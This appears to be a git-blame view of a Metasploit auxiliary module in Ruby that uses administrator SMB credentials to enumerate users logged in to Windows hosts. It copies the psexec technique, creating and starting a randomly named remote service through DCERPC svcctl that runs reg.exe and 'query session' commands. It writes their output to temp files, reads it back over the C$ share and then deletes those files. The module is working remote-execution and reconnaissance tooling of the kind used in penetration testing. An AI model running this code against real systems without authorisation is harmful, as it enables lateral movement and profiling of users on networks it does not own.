2013-03-07 23:53:19 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
|
|
|
##
|
2012-11-05 22:37:13 +00:00
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
|
|
|
# Exploit mixins should be called first
|
|
|
|
include Msf::Exploit::Remote::SMB
|
|
|
|
include Msf::Exploit::Remote::SMB::Authenticated
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
include Msf::Exploit::Remote::DCERPC
|
|
|
|
|
|
|
|
# Aliases for common classes
|
|
|
|
SIMPLE = Rex::Proto::SMB::SimpleClient
|
|
|
|
XCEPT = Rex::Proto::SMB::Exceptions
|
|
|
|
CONST = Rex::Proto::SMB::Constants
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
2012-12-04 23:32:42 +00:00
|
|
|
'Name' => 'Microsoft Windows Authenticated Logged In Users Enumeration',
|
2012-11-05 22:37:13 +00:00
|
|
|
'Description' => %Q{
|
2012-12-04 23:32:42 +00:00
|
|
|
This module uses a valid administrator username and password to enumerate users
|
|
|
|
currently logged in, using a similar technique than the "psexec" utility provided
|
|
|
|
by SysInternals. It uses reg.exe to query the HKU base registry key.
|
2012-11-05 22:37:13 +00:00
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
2012-12-04 23:32:42 +00:00
|
|
|
'Royce Davis @R3dy__ <rdavis[at]accuvant.com>' # Metasploit module
|
2012-11-05 22:37:13 +00:00
|
|
|
],
|
|
|
|
'References' => [
|
2012-12-04 23:32:42 +00:00
|
|
|
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
|
|
|
|
[ 'OSVDB', '3106'],
|
|
|
|
[ 'URL', 'http://www.pentestgeek.com/2012/11/05/finding-logged-in-users-metasploit-module/' ],
|
|
|
|
[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
|
2012-11-05 22:37:13 +00:00
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE
|
|
|
|
)
|
|
|
|
|
|
|
|
register_options([
|
|
|
|
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']),
|
2012-11-06 03:04:27 +00:00
|
|
|
OptString.new('USERNAME', [false, 'The name of a specific user to search for', '']),
|
2012-11-05 22:37:13 +00:00
|
|
|
OptString.new('RPORT', [true, 'The Target port', 445]),
|
2012-12-06 22:28:59 +00:00
|
|
|
OptString.new('WINPATH', [true, 'The name of the Windows directory', 'WINDOWS']),
|
2012-11-05 22:37:13 +00:00
|
|
|
], self.class)
|
|
|
|
|
|
|
|
deregister_options('RHOST')
|
|
|
|
end
|
|
|
|
|
2012-11-28 15:02:19 +00:00
|
|
|
def peer
|
|
|
|
return "#{rhost}:#{rport}"
|
|
|
|
end
|
|
|
|
|
2012-11-05 22:37:13 +00:00
|
|
|
# This is the main controller function
|
|
|
|
def run_host(ip)
|
2012-12-06 22:28:59 +00:00
|
|
|
cmd = "%SYSTEMDRIVE%\\#{datastore['WINPATH']}\\SYSTEM32\\cmd.exe"
|
|
|
|
bat = "%SYSTEMDRIVE%\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat"
|
|
|
|
text = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt"
|
2012-11-05 22:37:13 +00:00
|
|
|
smbshare = datastore['SMBSHARE']
|
|
|
|
|
|
|
|
#Try and authenticate with given credentials
|
|
|
|
begin
|
2012-12-03 00:27:27 +00:00
|
|
|
connect
|
|
|
|
smb_login
|
2012-11-05 22:37:13 +00:00
|
|
|
rescue StandardError => autherror
|
2012-12-03 00:25:09 +00:00
|
|
|
print_error("#{peer} - #{autherror}")
|
2012-11-05 22:37:13 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2012-11-08 15:13:33 +00:00
|
|
|
keys = get_hku(ip, smbshare, cmd, text, bat)
|
|
|
|
if !keys
|
2012-12-04 23:32:42 +00:00
|
|
|
cleanup_after(cmd, text, bat)
|
2012-12-03 00:27:27 +00:00
|
|
|
disconnect
|
2012-11-08 15:13:33 +00:00
|
|
|
return
|
2012-11-05 22:37:13 +00:00
|
|
|
end
|
2012-11-08 15:13:33 +00:00
|
|
|
keys.each do |key|
|
|
|
|
check_hku_entry(key, ip, smbshare, cmd, text, bat)
|
|
|
|
end
|
2012-12-04 23:32:42 +00:00
|
|
|
cleanup_after(cmd, text, bat)
|
2012-12-03 00:27:27 +00:00
|
|
|
disconnect
|
2012-11-05 22:37:13 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# This method runs reg.exe query HKU to get a list of each key within the HKU master key
|
|
|
|
# Returns an array object
|
|
|
|
def get_hku(ip, smbshare, cmd, text, bat)
|
|
|
|
begin
|
|
|
|
# Try and query HKU
|
2012-12-06 22:28:59 +00:00
|
|
|
command = "#{cmd} /C echo reg.exe QUERY HKU ^> %SYSTEMDRIVE%#{text} > #{bat} & #{cmd} /C start cmd.exe /C #{bat}"
|
2012-12-03 00:35:23 +00:00
|
|
|
out = psexec(command)
|
2012-11-05 22:37:13 +00:00
|
|
|
output = get_output(ip, smbshare, text)
|
|
|
|
cleanout = Array.new
|
|
|
|
output.each_line { |line| cleanout << line.chomp if line.include?("HKEY") && line.split("-").size == 8 && !line.split("-")[7].include?("_")}
|
|
|
|
return cleanout
|
|
|
|
rescue StandardError => hku_error
|
2012-12-03 00:25:09 +00:00
|
|
|
print_error("#{peer} - Error runing query against HKU. #{hku_error.class}. #{hku_error}")
|
2012-11-08 15:13:33 +00:00
|
|
|
return nil
|
2012-11-05 22:37:13 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
# This method will retrive output from a specified textfile on the remote host
|
|
|
|
def get_output(ip, smbshare, file)
|
|
|
|
begin
|
|
|
|
simple.connect("\\\\#{ip}\\#{smbshare}")
|
|
|
|
outfile = simple.open(file, 'ro')
|
|
|
|
output = outfile.read
|
|
|
|
outfile.close
|
|
|
|
simple.disconnect("\\\\#{ip}\\#{smbshare}")
|
|
|
|
return output
|
|
|
|
rescue StandardError => output_error
|
2012-12-03 00:25:09 +00:00
|
|
|
print_error("#{peer} - Error getting command output. #{output_error.class}. #{output_error}.")
|
2012-11-29 20:15:57 +00:00
|
|
|
return false
|
2012-11-05 22:37:13 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2012-12-03 00:49:50 +00:00
|
|
|
def report_user(username)
|
2012-12-04 23:32:42 +00:00
|
|
|
report_note(
|
2012-12-03 00:49:50 +00:00
|
|
|
:host => rhost,
|
|
|
|
:proto => 'tcp',
|
2012-12-04 23:32:42 +00:00
|
|
|
:sname => 'smb',
|
2012-12-03 00:49:50 +00:00
|
|
|
:port => rport,
|
2012-12-04 23:32:42 +00:00
|
|
|
:type => 'smb.domain.loggedusers',
|
|
|
|
:data => "#{username} is logged in",
|
|
|
|
:update => :unique_data
|
|
|
|
)
|
2012-12-03 00:49:50 +00:00
|
|
|
end
|
|
|
|
|
2012-11-05 22:37:13 +00:00
|
|
|
# This method checks a provided HKU entry to determine if it is a valid SID
|
|
|
|
# Either returns nil or returns the name of a valid user
|
|
|
|
def check_hku_entry(key, ip, smbshare, cmd, text, bat)
|
|
|
|
begin
|
|
|
|
key = key.split("HKEY_USERS\\")[1].chomp
|
2012-12-06 22:28:59 +00:00
|
|
|
command = "#{cmd} /C echo reg.exe QUERY \"HKU\\#{key}\\Volatile Environment\" ^> %SYSTEMDRIVE%#{text} > #{bat} & #{cmd} /C start cmd.exe /C #{bat}"
|
2012-12-03 00:35:23 +00:00
|
|
|
out = psexec(command)
|
2012-11-08 15:13:33 +00:00
|
|
|
if output = get_output(ip, smbshare, text)
|
2012-11-28 15:02:19 +00:00
|
|
|
domain, username, dnsdomain, homepath, logonserver = "","","","",""
|
2012-11-08 15:13:33 +00:00
|
|
|
# Run this IF loop and only check for specified user if datastore['USERNAME'] is specified
|
|
|
|
if datastore['USERNAME'].length > 0
|
|
|
|
output.each_line do |line|
|
|
|
|
username = line if line.include?("USERNAME")
|
|
|
|
domain = line if line.include?("USERDOMAIN")
|
|
|
|
end
|
|
|
|
if domain.split(" ")[2].to_s.chomp + "\\" + username.split(" ")[2].to_s.chomp == datastore['USERNAME']
|
2012-12-04 23:32:42 +00:00
|
|
|
print_good("#{peer} - #{datastore['USERNAME']} is logged in")
|
2012-12-03 00:49:50 +00:00
|
|
|
report_user(datastore['USERNAME'])
|
2012-11-08 15:13:33 +00:00
|
|
|
end
|
|
|
|
return
|
|
|
|
end
|
2012-11-06 03:04:27 +00:00
|
|
|
output.each_line do |line|
|
|
|
|
domain = line if line.include?("USERDOMAIN")
|
2012-11-08 15:13:33 +00:00
|
|
|
username = line if line.include?("USERNAME")
|
2012-11-08 15:49:53 +00:00
|
|
|
dnsdomain = line if line.include?("USERDNSDOMAIN")
|
2012-11-28 15:02:19 +00:00
|
|
|
homepath = line if line.include?("HOMEPATH")
|
|
|
|
logonserver = line if line.include?("LOGONSERVER")
|
2012-11-06 03:04:27 +00:00
|
|
|
end
|
2012-11-08 15:13:33 +00:00
|
|
|
if username.length > 0 && domain.length > 0
|
2012-12-03 00:49:50 +00:00
|
|
|
user = domain.split(" ")[2].to_s + "\\" + username.split(" ")[2].to_s
|
|
|
|
print_good("#{peer} - #{user}")
|
2012-12-04 23:32:42 +00:00
|
|
|
report_user(user.chomp)
|
2012-11-28 15:02:19 +00:00
|
|
|
elsif logonserver.length > 0 && homepath.length > 0
|
|
|
|
uname = homepath.split('\\')[homepath.split('\\').size - 1]
|
|
|
|
if uname.include?(".")
|
|
|
|
uname = uname.split(".")[0]
|
|
|
|
end
|
2012-12-03 00:49:50 +00:00
|
|
|
user = logonserver.split('\\\\')[1].chomp.to_s + "\\" + uname.to_s
|
|
|
|
print_good("#{peer} - #{user}")
|
2012-12-04 23:32:42 +00:00
|
|
|
report_user(user.chomp)
|
2012-11-08 15:13:33 +00:00
|
|
|
else
|
2013-02-19 17:24:05 +00:00
|
|
|
username = query_session(smbshare, ip, cmd, text, bat)
|
|
|
|
if username
|
|
|
|
hostname = (dnsdomain.split(" ")[2] || "").split(".")[0] || "."
|
|
|
|
user = "#{hostname}\\#{username}"
|
2012-12-03 00:49:50 +00:00
|
|
|
print_good("#{peer} - #{user}")
|
2012-12-04 23:32:42 +00:00
|
|
|
report_user(user.chomp)
|
2012-11-08 15:49:53 +00:00
|
|
|
else
|
2012-11-28 15:02:19 +00:00
|
|
|
print_status("#{peer} - Unable to determine user information for user: #{key}")
|
2012-11-08 15:49:53 +00:00
|
|
|
end
|
2012-11-06 03:04:27 +00:00
|
|
|
end
|
2012-11-08 15:13:33 +00:00
|
|
|
else
|
2012-12-03 00:25:09 +00:00
|
|
|
print_status("#{peer} - Could not determine logged in users")
|
2012-11-05 22:37:13 +00:00
|
|
|
end
|
2013-02-19 17:24:05 +00:00
|
|
|
rescue Rex::Proto::SMB::Exceptions::Error => check_error
|
2012-12-03 00:25:09 +00:00
|
|
|
print_error("#{peer} - Error checking reg key. #{check_error.class}. #{check_error}")
|
2012-11-05 22:37:13 +00:00
|
|
|
return check_error
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2012-12-06 22:28:59 +00:00
|
|
|
# Cleanup module. Gets rid of .txt and .bat files created in the #{datastore['WINPATH']}\Temp directory
|
2012-12-04 23:32:42 +00:00
|
|
|
def cleanup_after(cmd, text, bat)
|
2012-11-05 22:37:13 +00:00
|
|
|
begin
|
|
|
|
# Try and do cleanup command
|
2012-12-06 22:28:59 +00:00
|
|
|
cleanup = "#{cmd} /C del %SYSTEMDRIVE%#{text} & del #{bat}"
|
2012-12-04 23:32:42 +00:00
|
|
|
print_status("#{peer} - Executing cleanup")
|
2012-12-03 00:35:23 +00:00
|
|
|
out = psexec(cleanup)
|
2012-11-05 22:37:13 +00:00
|
|
|
rescue StandardError => cleanuperror
|
2012-12-04 23:32:42 +00:00
|
|
|
print_error("#{peer} - Unable to processes cleanup commands: #{cleanuperror}")
|
2012-12-06 22:28:59 +00:00
|
|
|
print_warning("#{peer} - Maybe %SYSTEMDRIVE%#{text} must be deleted manually")
|
2012-12-04 23:32:42 +00:00
|
|
|
print_warning("#{peer} - Maybe #{bat} must be deleted manually")
|
2012-11-05 22:37:13 +00:00
|
|
|
return cleanuperror
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2012-11-08 15:49:53 +00:00
|
|
|
# Method trys to use "query session" to determine logged in user
|
|
|
|
def query_session(smbshare, ip, cmd, text, bat)
|
|
|
|
begin
|
2012-12-06 22:28:59 +00:00
|
|
|
command = "#{cmd} /C echo query session ^> %SYSTEMDRIVE%#{text} > #{bat} & #{cmd} /C start cmd.exe /C #{bat}"
|
2012-12-03 00:35:23 +00:00
|
|
|
out = psexec(command)
|
2012-11-08 15:49:53 +00:00
|
|
|
userline = ""
|
|
|
|
if output = get_output(ip, smbshare, text)
|
|
|
|
output.each_line { |line| userline << line if line[0] == '>' }
|
|
|
|
else
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
return userline.split(" ")[1].chomp
|
|
|
|
rescue
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2012-11-05 22:37:13 +00:00
|
|
|
# This code was stolen straight out of psexec.rb. Thanks very much HDM and all who contributed to that module!!
|
|
|
|
# Instead of uploading and runing a binary. This method runs a single windows command fed into the #{command} paramater
|
2012-12-03 00:35:23 +00:00
|
|
|
def psexec(command)
|
2012-11-05 22:37:13 +00:00
|
|
|
|
|
|
|
simple.connect("IPC$")
|
|
|
|
|
|
|
|
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
|
2012-12-03 00:35:23 +00:00
|
|
|
vprint_status("#{peer} - Binding to #{handle} ...")
|
2012-11-05 22:37:13 +00:00
|
|
|
dcerpc_bind(handle)
|
2012-12-03 00:35:23 +00:00
|
|
|
vprint_status("#{peer} - Bound to #{handle} ...")
|
2012-11-05 22:37:13 +00:00
|
|
|
|
2012-12-03 00:35:23 +00:00
|
|
|
vprint_status("#{peer} - Obtaining a service manager handle...")
|
2012-11-05 22:37:13 +00:00
|
|
|
scm_handle = nil
|
|
|
|
stubdata =
|
|
|
|
NDR.uwstring("\\\\#{rhost}") +
|
|
|
|
NDR.long(0) +
|
|
|
|
NDR.long(0xF003F)
|
|
|
|
begin
|
|
|
|
response = dcerpc.call(0x0f, stubdata)
|
|
|
|
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
|
|
|
scm_handle = dcerpc.last_response.stub_data[0,20]
|
|
|
|
end
|
|
|
|
rescue ::Exception => e
|
2012-12-03 00:35:23 +00:00
|
|
|
print_error("#{peer} - Error: #{e}")
|
|
|
|
return false
|
2012-11-05 22:37:13 +00:00
|
|
|
end
|
|
|
|
|
2012-12-03 00:35:23 +00:00
|
|
|
servicename = Rex::Text.rand_text_alpha(11)
|
|
|
|
displayname = Rex::Text.rand_text_alpha(16)
|
2012-11-05 22:37:13 +00:00
|
|
|
holdhandle = scm_handle
|
2012-12-03 00:35:23 +00:00
|
|
|
svc_handle = nil
|
|
|
|
svc_status = nil
|
2012-11-05 22:37:13 +00:00
|
|
|
|
|
|
|
stubdata =
|
|
|
|
scm_handle +
|
|
|
|
NDR.wstring(servicename) +
|
|
|
|
NDR.uwstring(displayname) +
|
|
|
|
|
|
|
|
NDR.long(0x0F01FF) + # Access: MAX
|
|
|
|
NDR.long(0x00000110) + # Type: Interactive, Own process
|
|
|
|
NDR.long(0x00000003) + # Start: Demand
|
|
|
|
NDR.long(0x00000000) + # Errors: Ignore
|
|
|
|
NDR.wstring( command ) +
|
|
|
|
NDR.long(0) + # LoadOrderGroup
|
|
|
|
NDR.long(0) + # Dependencies
|
|
|
|
NDR.long(0) + # Service Start
|
|
|
|
NDR.long(0) + # Password
|
|
|
|
NDR.long(0) + # Password
|
|
|
|
NDR.long(0) + # Password
|
2012-12-03 00:35:23 +00:00
|
|
|
NDR.long(0) # Password
|
2012-11-05 22:37:13 +00:00
|
|
|
begin
|
2012-12-03 00:35:23 +00:00
|
|
|
vprint_status("#{peer} - Creating the service...")
|
2012-11-05 22:37:13 +00:00
|
|
|
response = dcerpc.call(0x0c, stubdata)
|
|
|
|
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
|
|
|
svc_handle = dcerpc.last_response.stub_data[0,20]
|
|
|
|
svc_status = dcerpc.last_response.stub_data[24,4]
|
|
|
|
end
|
|
|
|
rescue ::Exception => e
|
2012-12-03 00:35:23 +00:00
|
|
|
print_error("#{peer} - Error: #{e}")
|
|
|
|
return false
|
2012-11-05 22:37:13 +00:00
|
|
|
end
|
|
|
|
|
2012-12-03 00:35:23 +00:00
|
|
|
vprint_status("#{peer} - Closing service handle...")
|
2012-11-05 22:37:13 +00:00
|
|
|
begin
|
|
|
|
response = dcerpc.call(0x0, svc_handle)
|
|
|
|
rescue ::Exception
|
|
|
|
end
|
|
|
|
|
2012-12-03 00:35:23 +00:00
|
|
|
vprint_status("#{peer} - Opening service...")
|
2012-11-05 22:37:13 +00:00
|
|
|
begin
|
|
|
|
stubdata =
|
|
|
|
scm_handle +
|
|
|
|
NDR.wstring(servicename) +
|
|
|
|
NDR.long(0xF01FF)
|
|
|
|
|
|
|
|
response = dcerpc.call(0x10, stubdata)
|
|
|
|
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
|
|
|
svc_handle = dcerpc.last_response.stub_data[0,20]
|
|
|
|
end
|
|
|
|
rescue ::Exception => e
|
2012-12-03 00:35:23 +00:00
|
|
|
print_error("#{peer} - Error: #{e}")
|
|
|
|
return false
|
2012-11-05 22:37:13 +00:00
|
|
|
end
|
|
|
|
|
2012-12-03 00:35:23 +00:00
|
|
|
vprint_status("#{peer} - Starting the service...")
|
2012-11-05 22:37:13 +00:00
|
|
|
stubdata =
|
|
|
|
svc_handle +
|
|
|
|
NDR.long(0) +
|
|
|
|
NDR.long(0)
|
|
|
|
begin
|
|
|
|
response = dcerpc.call(0x13, stubdata)
|
|
|
|
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
|
|
|
end
|
|
|
|
rescue ::Exception => e
|
2012-12-03 00:35:23 +00:00
|
|
|
print_error("#{peer} - Error: #{e}")
|
|
|
|
return false
|
2012-11-05 22:37:13 +00:00
|
|
|
end
|
|
|
|
|
2012-12-03 00:35:23 +00:00
|
|
|
vprint_status("#{peer} - Removing the service...")
|
2012-11-05 22:37:13 +00:00
|
|
|
stubdata =
|
2012-12-03 00:35:23 +00:00
|
|
|
svc_handle
|
2012-11-05 22:37:13 +00:00
|
|
|
begin
|
|
|
|
response = dcerpc.call(0x02, stubdata)
|
|
|
|
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
2012-12-03 00:35:23 +00:00
|
|
|
end
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_error("#{peer} - Error: #{e}")
|
2012-11-05 22:37:13 +00:00
|
|
|
end
|
|
|
|
|
2012-12-03 00:35:23 +00:00
|
|
|
vprint_status("#{peer} - Closing service handle...")
|
2012-11-05 22:37:13 +00:00
|
|
|
begin
|
|
|
|
response = dcerpc.call(0x0, svc_handle)
|
|
|
|
rescue ::Exception => e
|
2012-12-03 00:35:23 +00:00
|
|
|
print_error("#{peer} - Error: #{e}")
|
2012-11-05 22:37:13 +00:00
|
|
|
end
|
|
|
|
|
2012-12-03 00:35:23 +00:00
|
|
|
select(nil, nil, nil, 1.0)
|
2012-11-05 22:37:13 +00:00
|
|
|
simple.disconnect("IPC$")
|
2012-12-03 00:35:23 +00:00
|
|
|
return true
|
2012-11-05 22:37:13 +00:00
|
|
|
end
|
|
|
|
end
|